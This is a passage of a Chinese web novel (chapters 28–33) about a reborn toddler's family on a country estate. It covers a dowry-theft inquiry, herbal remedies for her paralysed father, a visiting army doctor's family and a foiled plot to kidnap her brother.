接近年关,又是如此蹊跷的大事,京兆尹梁大人非常重视,眉头紧锁地捻着胡须,当即责成自己的右臂成少尹亲自督办此事。成少尹名成栩,年约三十五六,面容刚毅,办事素来雷厉风行。
“成大人,”一番细致勘察后,监察头领疾步来报,脸色古怪,“大房所在的含章苑,孟大人及其独子所在的前院,都门窗完好,未见丝毫损坏,连窗纸都没破一处,完全没有偷盗痕迹。
可里头大小物件全部搬空,桌椅床榻、箱笼柜橱,甚至连空箱子都不留一个。但是其余皆没有报丢东西,二房乃至老夫人的松鹤院,都称一切如常。”
他说到这里,抬眼看了看坐在上首面色铁青的老宋氏和紧张搓着手的孟二泉,脸上毫不掩饰地露出一丝鄙夷。
“这就奇了怪了。”成少尹连茶都没有喝,修长的手指在案桌上不轻不重地敲了敲,随即摊开双手双脚,换了个更放松的坐姿,一副“你们不交代清楚,本官就不走了”的姿态。
他目光锐利地扫过孟二泉那张惶惑不安的脸,心中对这靠祖荫混了个六品闲职的书丞更看不上眼。
他清了清嗓子,声音沉了几分:“孟大川孟大人可是朝廷功臣,这次回京还用军功给老夫人换了诰命,孝心可嘉,连圣上都夸赞过。”
他刻意顿了顿,见老夫人脸色稍缓,又话锋一转,“这件事,老夫人若是不好好处理,传出侯府贪墨儿媳妇嫁妆的事,不但寒了大房的心,若是皇上追究起来,”
他意味深长地拖长了语调,“可就没有本官坐在这里好说话了。”成少尹斜甯了一眼座上二人,话里话外,既是警告也是威胁。
对老侯爷和孟大川,他是真心敬佩的。老侯爷戍边三十年,战功赫赫;孟大川虽与他年龄相仿,交往不算密切,但几次接触下来,也深知那是个赤诚磊落的汉子。
可惜命途多舛,年少丧母,未及承爵又丧父,摊上这么个偏心的后娘,如今生死未卜,连家中的财产和妻子的嫁妆都保不住,思及此,他心中不免生出几分悲凉与愤慨。
“大人,实在是冤枉啊!”老宋氏猛地抬头,一张保养得宜的脸,不出半月多了不少皱纹,满是委屈与惊惶,声音都尖利起来,“他们去了庄子后,那含章院我们都没进去过,平日都是锁着的,钥匙、对牌都收在库房,都是那些黑了心肝的下人……”
第一卷 第28章 老夫人晕过去了
她越说越急,胸口剧烈起伏。本以为柳氏嫁过来时那令人眼红的十里红妆,迟早能到手,谁知道竟出了这档子事。那盗贼来无影去无踪,做得天衣无缝,无声无息就将偌大院子搬空,说出去谁信?
“哦?”成少尹轻蔑地看了她一眼,打断她的辩解,“可本官怎么听说,大房一走,院里的丫鬟婆子小厮都被你们以各种名目遣散去了各院,偌大的含章院就留两个未满十四的小丫鬟守着?这岂不是敞开了大门请贼进来?”
“那是…那是…”老宋氏被噎得哑口无言,脸上一阵红一阵白。把人撤走,她确实存了私心,想着慢慢将院子掏空,柳氏在庄子上山高路远,又能如何?可她确实还没来得及下手啊!
“反正我们就是没拿!大人明鉴!”她只能无力地重复。
“侯府若是如此不知趣,那本官就只能秉公办事了。”成少尹也动了真气,霍然起身,袍袖带风。
“给你们脸面不要,就别怪本官不客气!此案疑点重重,明摆着就是内外勾结,少不得要请府上各位主子、管事,乃至所有下人,都到京兆尹衙门问个清楚!”
“成大人息怒,息怒!”孟二泉吓得冷汗涔涔,连忙起身作揖,请他坐下。
脸上堆满讨好的笑,声音都在发颤,“这事确实是我们想的不周到,做得不妥帖。才让贼人钻了空子,千错万错都是侯府的错。”他偷眼觑着成少尹的神色,心中惶恐万分。
若是真闹到衙门,或是让皇上对侯府起了疑心、生了厌恶,那承爵的事就彻底成了泡影。
他咬了咬牙,只想着先稳住局面,“这事我们定会给大房一个交代,给大人一个满意的答复。”
“好!”成少尹转身,目光如炬,“那我们京兆尹就在年关封印前,等着孟书丞的书面解释和解决方案。那份文书,”
他加重语气,“可是要呈到御前给皇上过目的,孟书丞最好仔细斟酌,别想着糊弄本官。”
说完,对廊下等候的差役一挥手,沉声道:“收队。”随即拂袖而去,背影决绝。
“你这混账东西!”待成少尹一行人脚步声远去,老夫人猛地抓起手边的粉彩茶盏,狠狠摔在地上,瓷片四溅。
“你怎么能自作主张答应下来?明明就是遭了贼盗,我们如何查得清?再说现在离京兆尹封印不过二十天,我们怎么解释?拿什么解决?你这不是要我的老命吗?”
她气得浑身发抖,眼前发黑,差点没背过气去,接连又扔了两个茶盏,只恨这个亲儿子软弱无能,在外人面前竟如此妥协退让。
“母亲还听不出成大人话里话外的意思么?”孟二泉心里也憋着一股邪火,语气不由冲了几分,“他那句‘皇上追究起来’,是白说的么?没准就是上头那位授意的原话!这是逼着我们吐出柳氏的嫁妆,息事宁人!”
他看着母亲气得扭曲的脸,硬着头皮把最狠的话抛了出来,“若是母亲不想法子把她的嫁妆补上,不说爵位,怕是儿子这费尽心力得来的六品小官都保不住!到时候,咱们全家就成了彻头彻尾的庶民!您那诰命夫人怕也保不住。”
“我何时拿她的嫁妆?你这逆子,竟敢如此污蔑生母!”老夫人气得几乎昏厥过去,被一旁的嬷嬷慌忙扶住。以前她是逼着柳氏“孝敬”了不少首饰头面、古玩摆件,柳氏为了维持侯府表面光鲜,也贴补了不少公中开支,这是真。
可柳氏那压箱底的嫁妆单子上的田产地契、金银器物,她确实还没找到机会下手,这也是真。
如今儿子话里话外,竟说得仿佛她就是那监守自盗、偷盗儿媳嫁妆的贼一般,让她如何下得去这口气?颜面何存?
“反正,儿子回去就修书上表,说明嫁妆并未被盗,报官只是下人们不明就里,为大房抱不平而闹出的误会。”
孟二泉心一横,也拂袖而去,走到门口又顿住,头也不回地扔下一句,“等来年开春,雪化了路好走,儿子亲自去庄子上把大哥大嫂接回府奉养。”说完,径直跨出门槛,消失在寒风凛冽的庭院中。
“家门不幸,我这都是造的什么孽啊!我辛辛苦苦筹谋一辈子,殚精竭虑,我这是为了谁?为了谁啊——”
身后传来老夫人撕心裂肺的哭嚎,紧接着是更多瓷器被狠狠摔打在地、碎裂四溅的刺耳声响,在松鹤院里久久回荡。
最后是春嬷嬷一声大喊:“快请郎中,老夫人晕过去了。”
……
嘚嘚都默写出整本《论语》了,娘亲在雪地里喊她回家的声音都比往日响亮了许多。
阿沅也觉得自己练得身子轻快多了,虽没能像话本里写的侠客那般“雪上飞”,但至少不会像原本那样,走两步就“啪叽”一下,在雪地里滚成个名副其实的小糯米团子。
她如今能在积雪上踩出稳稳当当的小脚印,像一串串胖胖的梅花。
可是,爹爹的腿怎么还不长进呀!
眼看娘亲小瓷瓶里的药丸都快见了底,年关就在眼前,爹爹的腿还是没什么知觉。
任她和娘亲天天捏、狠狠掐,她甚至偷拿娘亲做女红的小针针,先是轻轻戳,后来心一横稍微用力扎,爹爹的腿还是安安静静,眉头都不皱一下。
阿沅急得腮帮子都鼓起来了,像只没有囤粮过冬的小仓鼠。
若不是她在爷爷的诊所里见过好几个被断定再也站不起来的病人,服了她研制的药丸几个月后,竟能颤巍巍站起来,甚至有人后来还能慢跑打球,她真要对自己的药心生嘀咕了。
现代的药里,还缺了这雪上一枝蒿呢。
“哎呀!”就在她发愁爹爹断了药可怎么办,猫在空间里翻箱倒柜想找替代药材时,眼角忽然瞥见花圃里原本只埋了两寸来长的“雪上一枝蒿”,此刻竟悄没声儿地抽长了一大截!
墨绿的茎秆挺立着,还舒展出了三四片毛茸茸、边缘带着细锯齿的小叶子,在空间恒暖的微风里轻轻颤着,仿佛在跟她打招呼。
“太好了,又能给爹爹制药了!”阿沅眼睛一下子亮晶晶的,忙不迭取出小剪刀齐根剪下药草。她蹬蹬蹬跑到实验室,配药,守着药罐子熬煮、提炼。
每个步骤等待的时间得有点漫长,她闲不住,又在实验室的柜子角落、瓶瓶罐罐、犄角旮旯里翻翻捡捡。
第一卷 第29章 举一反十
嘿!高产的稻种还真不少,有十几种呢,容器都贴着标签,少的也有百来斤,多的竟标着上千斤!
阿沅大概算了算,如果一亩地用五斤左右的稻种,那嘉禾庄和娘亲其他几个庄子的地都能种上。
可一想到那场要持续到明年五月的雪灾,她的小眉头又蹙了起来,粉嫩的脸蛋上满是与年龄不符的愁绪。
她在心里小声嘀咕:空间老儿,我可是种子专家呀,光给个摆满瓶瓶罐罐的实验室怎么够?我们搞农业的,哪能真的闭门造车?
您好歹再给几亩肥沃的试验田,让我能提前育个苗、试个种嘛!不然等雪一化,夏天也到了,百姓们拿什么去种?错过了时节,可要饿肚子的呀!
她一边想着,一边不甘心地继续翻找,小胳膊都快伸进柜子最深处了。忽然,指尖触到一个滑溜溜的小布袋,拽出来一看,竟然是一小袋黄豆!
豆粒颗颗饱满滚圆,竟有她的小指头尖那么大,金黄灿灿的,看着就喜人。
阿沅乐了,露出小米牙:“肯定是哪个师兄师姐怀有私心,也偷偷带进来另作他用的,被我发现啦!”
她把这袋意外之喜捧在手里,掂了掂,“看这颗粒,还是高产品种呢!就是少了点……不过没关系,开春先找块好地间隔着种下,要是收成好,下一季就能扩大种植啦!这样,以后大康朝就不缺好豆种了!”
一高兴,她忍不住双手用力搓起豆子来,豆粒硬硬的,硌得她白嫩嫩的手心发红,还有点疼。她“嘶”地吸了口凉气,却忽然灵光一闪,想起前世爷爷常建议腿脚不便,或是有中风早期表现的病人踩黄豆按摩脚底,说是能活络经脉!
她顿时有了主意,大眼睛扑闪扑闪,满是跃跃欲试的光芒。
“爹爹!踩豆子!神仙姑姑说,踩豆子好!”
晚饭后,阿沅又嘿咻嘿咻爬上小榻爬上床,迈着小短腿连滚带爬来到爹爹跟前,眼睛里像是撒了星星,语气又急又软,带着满满的期待。
孟大川看着女儿红扑扑的小脸,那全心全意为他着急、为他想办法的可爱模样,让他的心软成一滩水。
其实,他的腰腿正在缓慢地好转,他自己是有感觉的。原来那种尖锐的、向上牵扯的痛楚渐渐淡了。深夜万籁俱寂时,受伤的筋脉处仿佛有极轻柔的羽毛拂过。
平日里,妻子按摩过后,骨头缝里更会泛起一阵阵微弱的、如同蚂蚁爬过的酥麻感。
他只是不敢说,怕这细微的好转只是昙花一现,怕说出来给了妻女希望,万一后续不尽如人意,她们会更失望。他宁愿默默承受,等待一个更确切的奇迹。
“踩豆子?”孟大川还没回应,正在窗下做针线的柳氏早已竖起了耳朵,女儿的话一字不落全听了去。她立刻放下手里的活计站了起来,扬声就朝外吩咐:“秀姑,快去寻庄头,让他挑上好的黄豆,装半麻袋送过来!”
说完便快步走到床沿坐下,掀起被子,熟练地替丈夫揉捏起腿脚,语气温柔而坚定:“神仙姑姑说的法子定然有效。夫君现在动不得,妾身就用这豆子替你搓揉,总比干等着强。”
孟大川心中暖流涌动,看了看一心为他的妻女,沉吟片刻,朝窗外唤道:“孟柒。”
“属下在,请大人吩咐。”窗外立刻传来沉稳的回应。
“我记得此番班师回朝,有一位名叫‘老北’的随军老医官,针灸之术颇为精湛。你可能寻到他?”
孟柒答道:“回大人,老北医官家乡离京城不算远,雪虽大,属下尽力去寻,应当不难找到。”
“好,”孟大川点头,“速去将他接来。”
他略一思忖,又道:“若他家中尚有亲眷,也一并接来吧。这冰天雪地的,来了自有我们照应。待开春后,他是想继续行医,还是想置地耕种,都由我们安排。”
阿沅笑得见牙不见眼,活像只偷吃了蜂蜜的小狐狸,眉眼弯成了月牙儿。心里美滋滋地想:爹爹和娘亲真是太厉害了!娘亲是无条件相信。爹爹不光一点就通,还能想得这么周到长远,这可不只是举一反三,简直是举一反十嘛!
腊月二十六这天,老军医老北一家冒着风雪来了。
说“老北”,其实人并不算老,看着也就四十多岁,只是常年在军中风霜侵染,脸上皱纹深了些,头发也花白了些,才得了这么个称呼。
说是一家子,其实也就六口人:老北和他老伴老北婶子,还有他们的儿子、儿媳,以及孙女莲花。
老北一到,跟柳氏匆匆见了个礼,话都来不及多说几句,就背着他那个边角磨得发白、露出木头原色的旧药箱,跟着孟柒急匆匆进屋去看孟大川了。那专注急切的样子,仿佛早一刻诊脉,病人的生机就能多一分。
“这冰天雪地的,还劳烦你们拖家带口走这一趟,真是过意不去。老婶子,这点银子你务必拿着,初来乍到,安顿家里总要花销。”
柳氏从青衣手上接过一个绣花小荷包,不由分说塞到老北婶子手里,里面是二十两雪花银,沉甸甸的。
“这怎么能行!万万使不得!”老北婶子双手像被烫着似的往回缩,粗糙的脸上满是惶恐,“孟大人那是救了我们全家的恩人!要不是你们接我们来,我们也正发愁那破屋肯定被雪压垮,还不知道在哪儿挨冻受饿呢!这钱我们可不能要!”
莲花娘也在一旁搓着手,急切地帮腔:“夫人给安排的屋子又宽敞又暖和,炭火、粮食、衣裳被褥,样样都是顶好的,连过年做里衣的细棉布都给我们备了好几匹。我们感激都来不及,哪能再拿银子!”
莲花爹则站在娘俩身后,涨红着脸,嘴唇嚅动了半天,只笨拙地重复着:“使不得,使不得……”
第一卷 第30章 老北一家来了
“你们快别推脱了,”柳氏语气温和却不容拒绝,将荷包稳稳按进老北婶子掌心,“这大雪封路的,出门采买不便,若是有什么缺的,你们尽管说,银子留着以后用。
小北叔是来救我夫君性命的,是我们该感激你们。千万别见外,只当是一家人。”
侍立在旁的青衣也笑着劝道:“老爷夫人心肠最是仁善,你们若太客气,反叫夫人心中不安。”
阿沅已经蹭到一直怯生生躲在娘亲身后的莲花身边,小手一把抓住莲花有些冰凉的手指,另一只手变戏般小兜兜里掏出一大把糖块,不由分说全塞进莲花手里,小嘴还甜甜地说:“连发,甜!”
柳氏见状,眉眼弯弯地笑了:“莲花看着有四岁多了吧?刚好能跟我们阿沅做个伴儿,小姑娘家在一起玩,热闹。”
“哪啊!过了年就六岁了。”莲花娘忙道,又有些不好意思地看了一眼自家闺女,“就是……就是长得慢,个子不高。”这话一出,倒把众人都逗笑了。
仔细一看,这一家子确实都是敦实的身板,个头不算高。五岁多的莲花和三岁半的阿沅站在一起,竟高不出多少,只是莲花脸上少了几分孩童的娇憨,多了些早熟的沉静。
小姑娘模样算不上顶水灵,但眉眼端正,眼神清澈,一看就是憨厚朴实的人家养出来的孩子。
“连发!过乃(来)!窝给泥好玩的!”阿沅一着急,“莲花”叫成了“连发”,自己还没察觉,众人又是一阵善意的哄笑。
柳氏笑着摇摇头,对青衣吩咐:“去给婶子们上壶热热的甜汤,再拿两碟点心来,暖暖身子。”
被阿沅软乎乎的小手紧紧拉着,莲花想跟着去,又有些胆怯,先低头看了看自己沾着泥雪的旧棉鞋,又抬头用眼神征询地望望娘亲,再瞅瞅奶奶。
老北婶子看着眼前粉雕玉琢、热情洋溢的小姐,又看看自家孙女那渴望又拘谨的模样,心里一软,终于点点头:“去吧,仔细跟着小姐,好好玩,别淘气。”
“欸!”莲花眼睛一亮,应了一声。只见她转过身,稍一弯腰,两条看着并不粗壮的手臂竟稳稳地将阿沅抱了起来!
“娘亲……”阿沅突然双脚离地,吓得短促地惊叫一声,两只小胳膊下意识地环住了莲花的脖子。
也亏得莲花个子不高,抱起阿沅倒也合适。她抱着这个软绵绵、香喷喷的小团子,脚下却丝毫不慢,两条小短腿迈得又稳又快,“蹬蹬蹬”几下就跨过了门槛,朝院子里走去,动作竟是意外的利落。
“娘亲,她们……总抱窝(我)……不要嘛……”阿沅在莲花怀里扭动着小身子,奶声奶气地抗议,可惜反抗无效。红袖和青衣早已笑着跟了出去,院子里很快传来阿沅银铃般的笑声和叽叽喳喳的说话声,渐渐远去。
“这孩子……劲儿怎么这般大?”柳氏望着她们消失的方向,又是惊奇又是好笑。莲花看着瘦瘦小小的,抱着和她差不多份量的阿沅,居然步步稳当,毫不吃力。
莲花娘有些赧然,搓着衣角解释道:“夫人见笑了。这孩子天生力气就比旁的孩子大些,饭量也大,可就是不见长个儿,也不见长肉,光长力气了。”
“难怪有这么好的体魄!能吃才是福气。”柳氏越听越觉得这小姑娘有意思,心中一动,便道,“以后若是无事,就让莲花多跟着阿沅吧。庄子里孩子少,阿沅整天闲不住,不是想去堆雪人就是想往外跑。下午我还能拘着她俩认几个字。
我瞧着莲花是个稳重的,还能看着点阿沅。若她们坐得住,我也可以教她们摸摸针线,绣个简单的小花样。”
“认字?读书?”莲花娘的眼睛瞬间就亮了,随即又涌上一层薄薄的水光,那是难以置信的惊喜。庄户人家的孩子,能歪歪扭扭写出自己的名字已是了不得,如今竟有机会跟着小姐读书认字?
她连忙用手背擦了擦眼角,怕失态,又赶紧说:“绣花怕是……怕是难为她了,她就是拿锄头铲子的命,粗手粗脚的,针都拿不稳当,哪能指望这个。”
柳氏笑道:“我们家阿沅也是个皮猴儿,拿针未必比拿树枝老实。我看她俩投缘,说不定能玩到一处去。都是一路性子,难怪一见面阿沅就拉着她跑,这是碰着同类了!”
柳氏这几句自降身份的打趣,顿时让厅里的气氛松快了不少。原本因陌生而略显空旷安静的院落,仿佛也被孩子们的笑语声染上了活力,在这年关将近的雪日里,平添了许多暖意和生气。
“你们来得正好,”柳氏兴致更高了,“眼看着就要过年了,明天开始,咱们就得忙活起来了——蒸年糕、包饺子、捏馒头、炒瓜子花生。听说这雪还得下好一阵子,咱们多准备些吃食,存着能吃到开春!”
老北婶子一听这个,立刻眉开眼笑,拍着手道:“这可是找对人了!夫人,做这些面食点心,我最在行!正愁这年不知怎么过呢,这下可有事忙了!”
“怎么过?来了就是一家人,当然一起热热闹闹地过!”柳氏语气欢快,“我先前还愁,这过年就我们几个,连个说话唠嗑的伴儿都没有。如今可好了,人多才热闹!”
她目光转向一直憨厚地坐在旁边、只是跟着傻笑的莲花爹,温和地说:“明日庄子里就开始杀猪宰羊了。莲花爹,你若是得空,可以去庄头那儿帮帮忙。不用你动刀杀生,帮着褪褪毛、灌灌香肠、腌腌腊肉什么的,打个下手也成。庄头是个厚道人,你跟着学学,以后也是个手艺。”
“好!好!”莲花爹呵呵点头。
莲花娘更是感激不尽,忙替丈夫应道:“那感情好!他呀,就是有一身力气没处使,偏生又是个锯嘴葫芦,不会说话。莲花这闷性子,就是随了他!”话语里虽是埋怨,却透着朴实的温情。
第一卷 第31章 引蛇出洞
天才蒙蒙亮,庄子里就响起了此起彼伏的杀猪宰羊声,那声音尖利又带着年节特有的热闹劲儿,穿透了冷冽的空气。
院子里早已灯火通明,热气腾腾。老北婶子嗓门洪亮,指挥着众人,大灶上好几层蒸笼摞得老高,白色的水汽弥漫开来,混合着面食的甜香和肉馅的鲜味。
和面的、擀皮的、包饺子的、捏馒头的,人人手上不停,脸上都带着笑,为在这庄子里过的第一个年忙碌着,也新鲜着。
阿沅心里揣着小兔子似的,早早就醒了,红袖帮她套上暖和的袄子,蹬着小棉靴,想往院外跑。
可刚在院门口探了探头,就被眼尖的绿果和红豆一边一个“拎”了回来。“小姐,外头正动刀子呢,血糊糊的,仔细看了晚上做噩梦。”
绿果耐心哄着。红豆也帮腔:“就是,夫人特意交代了,等那边收拾利索了再让您去看热闹。”
红袖正帮着递东西,见状也凑过来,小声在阿沅耳边说:“小姐别急,那场面是有些吓人,咱们先在院子里玩,等会儿就有好吃的了。”
阿沅撅起了小嘴。她可不是真的怕,在现代,乡下过年杀年猪,那可是全村的大事,孩子们挤在最前面看,只觉得兴奋。白刀子进红刀子出,那才叫有过年的气氛呢!
莲子心里也这么嘀咕,但她可不敢说,只机灵地拉着阿沅的手,在灶箭一个个蒸笼旁钻来钻去,用别的新奇吸引她。
“小姐,来,第一笼肉包子出笼了,您尝尝婶子的手艺!”
老北婶子最是爽利,揭开蒸笼,白胖胖的包子冒着诱人的香气,她不由分说给阿沅、莲子和红袖一人塞了一个,还特意用油纸垫着,“小心烫!”
阿沅捧着小包子,吹了吹,小心咬了一口,汤汁鲜美,肉馅喷香,她眼睛亮了亮:“好鲜呀!”
但小孩子胃口小,尝了两口,觉得腻了,很自然地转头递给了几口就能吃完的莲子。
莲子可高兴了,接过来“啊呜”就是一大口,腮帮子鼓鼓的,含含糊糊地说:“谢小姐!真好吃!”
“瞧瞧,还有这个!”老北婶子又变戏法似的拿出几个小动物馒头,递给阿沅的那个捏得活灵活现,是只胖乎乎的小兔子,用红豆点了眼睛,很是可爱。
“小姐快把这兔头咬下来,看看甜不甜!”
阿沅被逗笑了,拿着兔子馒头,珍重地先小小咬了一口兔子尾巴,又犹豫着在耳朵上留下个小小的牙印。这回,她把啃了两口的兔子馒头递给了红袖。
红袖接过,眼睛忽然有些发潮,轻声说:“这兔子真好看……奴婢……奴婢想拿去,给不知道在哪儿的爹娘供一供……”
过年了,别人家都祭祖,她连爹娘是谁,还在不在都不知道,心里空落落的。
院子里欢声笑语不断,蒸笼的热气熏得人脸红扑扑的,大家都沉浸在忙碌的喜悦里。只有阿沅,总觉得心口砰砰跳得厉害,像有什么东西牵引着她往外去。
刚才她明明看见哥哥一个人走出院子了,墨竹远远跟在后面,慢吞吞的,看着就不太上心。
阿沅越想越不放心,趁着绿果她们一个没留神,又像条小泥鳅似的往门口溜。
“哎哟,我的小姐,您可不能出去。”守门的婆子笑着张开手臂,像堵温暖的墙。“老奴想去凑热闹还不行呢!瓜子磕久了也不带劲。”
“你别拦窝!小心泥这身皮。”阿沅急了,跺着小脚,学着大人模样双手叉腰,努力做出凶巴巴的样子,“窝要出去!窝要嘚嘚!”可她脸蛋圆润,眼睛乌溜溜的,这副样子非但没威慑力,反而显得娇憨可爱。
婆子笑得见牙不见眼:“老奴这身老皮啊,自己揭,可不敢劳烦小姐的小嫩手。您呀,还是安心在院子里玩吧。”
“娘亲!娘亲!”阿沅一计不成,转身就跑回厨房求援,一把抱住正在捏面团、脸上沾了些面粉的柳氏,带着哭腔,“窝要出去!窝要嘚嘚!”
柳氏见女儿真急了,泪珠在眼眶里打转,忙放下手里的面团,在围裙上擦了擦手,弯腰把她抱起来:“哥哥不在屋里吗?走,娘带你去找他。”说着,却抱着阿沅往正屋方向走。
阿沅更急了,在柳氏怀里扭动着小身子,手指坚定地指向院门方向:“不在!出去了!婆子也不拦嘚嘚,嘚嘚有事!”她有种莫名的焦灼感。
“阿沅乖,我们先看看。”柳氏嘴上安抚,脚步却不停,抱着她快步走向孟怀瑾的侧屋,不像平日那样由着她。
“呜呜……娘亲,信窝!窝不要嘚嘚有事!”阿沅的眼泪真的掉了下来,珍珠似的滚落,她用力挣扎,委屈极了。娘亲以前明明说过信她的,这次怎么不信了呢?
“妹妹!”就在这时,侧屋的门忽然从里面打开,一只手伸出来,迅速将母女二人拉了进去,门又立刻关上。
“嘚嘚?”阿沅的哭声戛然而止,她睁大了泪眼朦胧的眼睛,看着好端端站在面前的孟怀瑾,小嘴惊讶地张成了“O”型,鼻涕泡还挂在鼻尖上。
“窝…明明…明明看见……”她的小脑袋瓜糊涂了,她分明看见哥哥出去了呀,后面还跟着墨竹呢!
“那是‘纸槐’。”孟怀瑾微微一笑,如春风化雪,先恭敬地叫了声“娘亲”,然后才看向懵懂的妹妹,见她眼中还有困惑,便压低声音解释道:“他们去‘引蛇出洞’了。”这话带着一丝与他平日温润书卷气不太相符的冷静。
见女儿不哭,柳氏松了口气,轻轻帮她拭泪。
孟怀瑾转向柳氏,语气恢复了平日的恭顺:“娘亲,您去忙吧。儿子教妹妹写大字,不写满十大张,不许她出去胡闹。”
然而,在柳氏看不见的角度,他却悄悄冲阿沅眨了眨眼睛,那眼神里闪过一抹狡黠,活像只成功布置了陷阱的大狐狸。
“才不要!”阿沅一听“十大张”,吓得那点疑惑和委屈全飞了,小肉手连连摇摆,“爹爹说了,不写字,放年假!”
写那么多,她的手还要不要啦!不耽误她玩的么?
“窝没吃饱,窝要去吃好吃的!”她像只受惊的小兔子,灵活地从哥哥和娘亲身边钻出去,拉开门就往外跑。
第一卷 第32章 死得不冤
门口,莲子和红袖正焦急地张望,见她出来如释重负。
阿沅一手拉住一个:“走!窝饿了!”跑得飞快,小短腿倒腾得比兔子还快,仿佛后面有夫子追着要她写字似的。
“哈哈哈!”身后,哥哥和娘亲忍俊不禁的笑声透出窗棂,清晰传来。阿沅跑出一段,停下脚步,小脸上满是挫败感,鼓起了腮帮子。
她心里有些闷闷的。作为穿越者那点“预知剧情”的优越感,似乎在真正聪明又肯行动的古人面前,并不那么管用了。
她感觉自己被爹爹、娘亲,尤其是哥哥联手“摆了一道”。
原来那个只爱读书的哥哥,也有这么“狐狸”的一面!
书里的剧情,早就因为她的到来发生了改变,现在家里又多了一只深藏不露的“狐狸”,以后这日子,还有她“未卜先知”发挥的余地么?
小糯米团子第一次对自己的“本事”产生了深刻的怀疑。
而此时,庄子外的大晒场靠近大门处,却是另一番景象。猪羊已被放倒,进入了刮毛清理的阶段。
人群中,一个裹得厚实、戴着暖耳、只露出一双呆滞眼睛的“孟怀瑾”,正懵懂地看着这一切。
他在佃户们同情又习惯的目光中,这里摸摸刮毛的猪,那里碰碰接血的木盆,甚至去追着拔褪了毛的公鸡身上残留的漂亮羽毛,玩得不亦乐乎。
墨竹起初还跟在几步远的地方,后来似乎被灌血肠的新鲜做法吸引了,也凑上去帮忙,一时没顾上“少爷”。
没一会儿,“孟怀瑾”便和庄子里两个年龄相仿的大孩子跑到了一边,起初还在雪地里踢踢打打,不知不觉越跑越远,到了人少僻静处。
“少爷,快来啊!”一个孩子低声唤道。
“少爷,我们去书院,夫子在书院等您呢!”另一个孩子也跟着说,声音里带着诱惑。
“孟怀瑾”脚步顿了顿,显得有些茫然,想要回头看。那声音继续引诱:“去读书,少爷不是最爱读书了吗?”
“好,我要去书院,我要去读书……”“孟怀瑾”眼神变得直勾勾的,喃喃念着,仿佛被这句话魇住了,深一脚浅一脚地跟着两个孩子朝庄子外走去。
庄子外僻静的雪路上,不知何时停了一辆不起眼的灰棚马车。两个穿着普通下人衣服、眼神却透着精悍的小厮,见人来了,迅速跳下车。
其中一个掏出块布,猛地塞进“孟怀瑾”嘴里,另一个则用力将他往车厢里一推。那两个引路的孩子见状,立刻像受惊的麻雀,头也不回地钻回庄子,消失在忙碌的人群中。
马车迅速驶离,雪地上只留下浅浅的车辙,很快就被新飘落的雪花覆盖,仿佛什么都没发生过。庄子里的年味,依旧浓得化不开。
……
“真他娘的晦气!怎么又是安平侯府?流年不利还是撞了邪了?”巡防司的小吏搓着冻僵的手,看着山脚下那辆摔得粉碎、木片与积雪混合在一起的马车残骸,以及旁边三具早已僵硬的尸体,骂骂咧咧。
另一人蹲下查看痕迹:“看这方向,像是从城里往庄子这边来的。别是去接大房那位的吧?”
“接?黄鼠狼给鸡拜年——没安好心!刚被逼着吐出那么多嫁妆,心里不定怎么恨呢,还能好心去接?巴不得他们死在山沟里才对!”
“就是!你看车里备着的绳子、棍子,像是请人回去过年的样子?分明是去绑人的!去个人给安平侯府庄子报个信吧,这些害人的‘物什’也得记录在案,没准以后有用。”
……
第二天,
“小姐,小姐!”红袖一边麻利地给阿沅穿上一件崭新的绯色绣小梅花袄子,一边压低声音,带着几分神秘与唏嘘汇报,“奴婢听说,昨儿后半夜雪崩,压垮了庄子里两户的屋子。”
阿沅心里“咯噔”一下,面上却努力维持着镇定,小手攥紧轻声问:“都……压死了吧?”她其实已经有了模糊的猜测。
“死了,一个没跑出来,两家都死绝了。”红袖的声音很平静,甚至带着一丝冷意,“庄子里的人都传,说他们是罪有应得,老天开眼。”
“怎么会?庄子里所有屋子都刚修缮过。”阿沅抬起小脸问。
红袖撇撇嘴,一边给她系盘扣,一边说:“那两家当家的,以前是跟着老庄头作威作福的狗腿子,欺负佃户可狠了。他们家的小子,都才十二三岁,就学得欺男霸女,不是好东西。
这回倒好,住的是顶顶好的屋子,听说脑袋都被砸得……哼,大家都说,这是报应,雪崩专挑恶人砸呢。”
对待恶人,就应该这样,不能手软。因为洞悉小说里的结局,阿沅一点都不觉得那些人可怜,他们死得一点都不冤。
这种人家,也理应全家株连。
晚些时候,阿沅爬上爹爹孟大川的床,蔫蔫地窝进他宽厚温暖的怀里,像只没了精神的小猫儿,小脸上写满了不高兴。
孟大川放下手中的书册,察觉女儿情绪不对,大掌轻轻抚摸着她的头顶,温声问:“宝贝阿沅怎么了?谁惹咱们小糯米团子不高兴了?”
“嘚嘚……把窝当外人。”阿沅把小脸埋在爹爹怀里,声音闷闷的,带着浓浓的鼻音,满是委屈。
过了一会儿,她又抬起头,用那双清澈又带着控诉的大眼睛看着孟大川:“爹爹也不老实。”她可不傻,光靠墨竹和一个替身“纸槐”,哪能做成那么周密危险的事?
那些护卫、还有爹爹以前提过的暗卫,肯定都出手了。爹爹不可能不知道,娘亲也知道,合着全家就她一个人被蒙在鼓里,像个真正啥也不懂的小娃娃。
孟大川看着女儿清澈见底、仿佛能映出人心思的眼睛,心里软得一塌糊涂,又有些感慨女儿的敏锐。
他亲了亲阿沅的额头,将她搂得更紧些,沉声道:“万事有爹娘和哥哥在,阿沅还小,这些腌臜事、危险事,不需要你去知道,更不需要你去操心。”
他的语气都是疼爱,“你呀,就好好吃饭,乖乖睡觉,快快长大。你是爹娘的宝贝,是侯府的嫡小姐,就该娇养着,活得开开心心、干干净净的。”
“可是……可是……”阿沅在爹爹坚实的怀抱里,听着他有力的心跳,那份被“排除在外”的委屈稍稍平复,但心里那股不服输的劲儿又上来了,小声嘟囔,“窝不服!”
她可是知道整个故事走向的人啊!虽然细节模糊了,也改变了,但大方向总该有点用吧?为什么现在好像每个人都比她棋高一着,事情悄无声息就发生了,又悄无声息结束了,她总是后知后觉,甚至完全被蒙在鼓里。
她连做个安安稳稳、知道点内情的“书虫”的权利都没有了吗?小糯米团子第一次对自己的“穿越者”身份产生了深深的“职业危机”。
第一卷 第33章 好人多多,坏人少少。
“嘚嘚真的被骗了?”
看小家伙不高兴,孟大川还是把孟怀瑾被骗出庄子的事,还有解决了那几个人的告诉了她。
阿沅一听,小嘴立刻噘得老高,能挂个油瓶似的,乌溜溜的大眼睛里满是担忧,小手也不自觉地攥紧了爹爹的衣角。
“那爹爹会不会被烧?”阿沅皱起小小的眉头,胖乎乎的脸蛋上写满了认真。
原书里是先纵火,孟大川死于火灾;现在把孟怀瑾骗去书院的事却发生在前,故事的发展有点串了,她心里隐隐像揣了只蹦跳的小兔子,七上八下地不安起来,表现在这具三岁的身体上,这种不安更为明显。
